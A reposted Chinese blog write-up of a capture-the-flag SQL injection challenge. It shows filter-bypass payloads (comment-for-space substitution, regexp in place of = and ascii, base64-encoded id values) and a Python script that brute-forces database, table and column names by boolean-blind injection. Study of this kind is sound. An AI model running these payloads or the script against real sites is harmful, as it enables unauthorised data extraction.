记一次简单的注入

1、题目名sql_i,环境打开是一张图,可以看到id的参数base64加密了。

源码里还说sqlmap是没有灵魂的。

记一次简单的注入

2、and 、空格,base64加密后提交发现被过滤

记一次简单的注入

3、or没被过滤,空格用/**/替换,base64加密提交,看到表中所有内容,存在注入

1/**/or/**/2/**/</**/3

记一次简单的注入

4、=被过滤那就用>,猜数据库长度,判断长度7

1/**/or/**/length(database())/**/>/**/6 五张图
1/**/or/**/length(database())/**/>/**/7 一张图

5、用ascii继续猜,发现ascii也被过滤,那就用regexp,得到数据库名:dropsec

1/**/or/**/substr(database(),1,1)/**/regexp/**/"a"

6、猜表,就得到一个表pics,然后继续猜字段和内容,就是5张图,flag难道是在别的库?

1/**/or/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/"dropsec"/**/limit/**/1,1),1,1)/**/regexp/**/"a"

7、那就把库都列出来,除mysql自带的一共得到2个库,test和dropsec。test里是空的,这题是不是出错了?附fuzz代码

import base64
import requests

def sql_inject(id_string):
    base_url = "http://xxxxx:9174/index.php?id="
    id_string_base64 = base64.b64encode(id_string.encode("utf-8"))
    inject_url = base_url + id_string_base64.decode("utf-8")
    response = requests.get(inject_url)
    return response.text

for num in range(1,50):
    for i in "abcdefghijklmnopqrstuvwxyz_1234567890":
        response = sql_inject('1/**/or/**/substr((select/**/schema_name/**/from/**/information_schema.schemata),1,1/**/regexp/**/"{}"'.format(i))
        # response = sql_inject('1/**/or/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/"dropsec"/**/limit/**/-1,1),%d,1)/**/regexp/**/"%s"' % (num,i))
        # response = sql_inject('1/**/or/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"applicable_roles"/**/limit/**/1,1),{},1)/**/regexp/**/"{}"'.format(num,i))
        # response = sql_inject('1/**/or/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"pics"/**/limit/**/2,1),%d,1)/**/regexp/**/"%s"' % (num,i))
        # response = sql_inject('1/**/or/**/substr((select/**/id/**/from/**/dropsec.pics/**/limit/**/1,1),%d,1)/**/regexp/**/"%s"' % (num,i))
        # print(len(response),i)
        if len(response) == 756:
            print(i,end="")
            break

Original: https://www.cnblogs.com/vpandaxjl/p/15228629.html
Author: 功夫小熊猫
Title: 记一次简单的注入

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/571698/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Spring boot 2.0 之优雅停机

    spring boot 框架在生产环境使用的有一段时间了,它”约定大于配置”的特性,体现了优雅流畅的开发过程,它的部署启动方式( java -jar xxx…

    Java 2023年5月30日
    072
  • Java生成二维码

    1,下载jar包(QRCode.jar) maven依赖 <span> <span><groupid><span>QRCode&lt…

    Java 2023年5月29日
    087
  • linux中如何查找一个文件夹的大小呢?

    1、(方法一)ls -lht会列出当前目录下每个文件的大小,同时也会给出当前目录下所有文件大小总和 2、(方法二)du -sh *也会列出当前文件夹下所有文件对应的大小 【把*替换…

    Java 2023年6月15日
    072
  • 深入理解java泛型

    什么是Java泛型 泛型的使用 泛型类 泛型接口 泛型方法 泛型的底层实现机制 ArrayList源码解析 什么是泛型擦除 泛型的边界 ?:无界通配符 extends 上边界通配符…

    Java 2023年6月15日
    083
  • Docker 打包部署web项目 [Dockerfile方式]

    系统环境 IDE: IDEA 2020.2 Linux: WSL2 Ubuntu 20.04 Docker: 20.10.8 参考资料 博客园: Dockerfile常用指令介绍 …

    Java 2023年6月5日
    095
  • 通俗易懂讲反射

    可进入本人语雀文档看,格式更清晰明了哦 https://www.yuque.com/docs/share/3c013ec6-6c35-4854-aaf6-ff9a6e8a6af2?…

    Java 2023年6月8日
    098
  • Spring第一个程序

    1、利用Maven导入jar包 2、编写一个实体类 3、编写Spring文件 (beans.xml) 4、测试 1、利用Maven导入jar包 org.springframewor…

    Java 2023年6月5日
    078
  • fastposter v2.7.1 紧急发布 电商海报编辑器

    fastposter v2.7.1 紧急发布 电商海报编辑器 fastposter海报生成器,电商海报编辑器,电商海报设计器,fast快速生成海报 海报制作 海报开发。二维码海报,…

    Java 2023年6月5日
    082
  • Phoenix简介及安装部署使用

    Phoenix简介及安装部署使用 posted @2017-10-14 11:33 花弄影 阅读(374 ) 评论() 编辑 Original: https://www.cnblo…

    Java 2023年6月16日
    069
  • MySQL——索引

    1、索引:一种用于快速查询和检索数据的数据结构 B树、B+树、Hash 2、优缺点: =(1)优点:可以大大加快数据的检索速度、创建唯一性索引可以保证数据库表中每行数据的唯一性;一…

    Java 2023年6月5日
    074
  • 深入浅出的分析 Properties

    作者:炸鸡可乐原文出处:www.pzblog.cn 一、摘要 在集合系列的第一章,咱们了解到,Map 的实现类有 HashMap、LinkedHashMap、TreeMap、Ide…

    Java 2023年6月9日
    074
  • Java 方法重写

    重写需要有继承关系,子类重写父类的方法! 重写的条件 1.方法名必须相同2.参数列表必须相同3.修饰符:范围可以扩大 :public>Protected>Default…

    Java 2023年6月9日
    043
  • java中如何打印出一个类中所有变量呢?

    下文笔者将讲述,使用java代码打印出一个类中所有变量的方法分享,如下所示: 在日常开发中,我们经常需获取一个类的变量信息,然后操作变量,那么该如何编写此类代码呢?当然我们可以借助…

    Java 2023年6月15日
    087
  • 堆排序算法剖析

    1.将待排序列以一个完全二叉树存储,设二叉树的深度为h,除第 h 层外,其它各层 (1~h-1) 的结点数都达到最大个数,第h层所有的结点都连续集中在最左边,这就是完全二叉树。 2…

    Java 2023年6月16日
    0107
  • 2022年春季学期个人总结

    信2005-3 陈振辉 20203910 一学期转瞬即逝,以下是个人学期总结。 在这一学期里,我在王建民老师的课上浑水摸鱼。学期开始时没有找够两名一起报名参加比赛。在课上,同学们在…

    Java 2023年6月9日
    068
  • spring boot集成solr-SpringBoot(26)

    了解Solr Solr是一个独立的企业级搜索应用服务器,对外提供API接口。用户可以通过HTTP请求向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过HTTP GET操…

    Java 2023年6月13日
    079
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球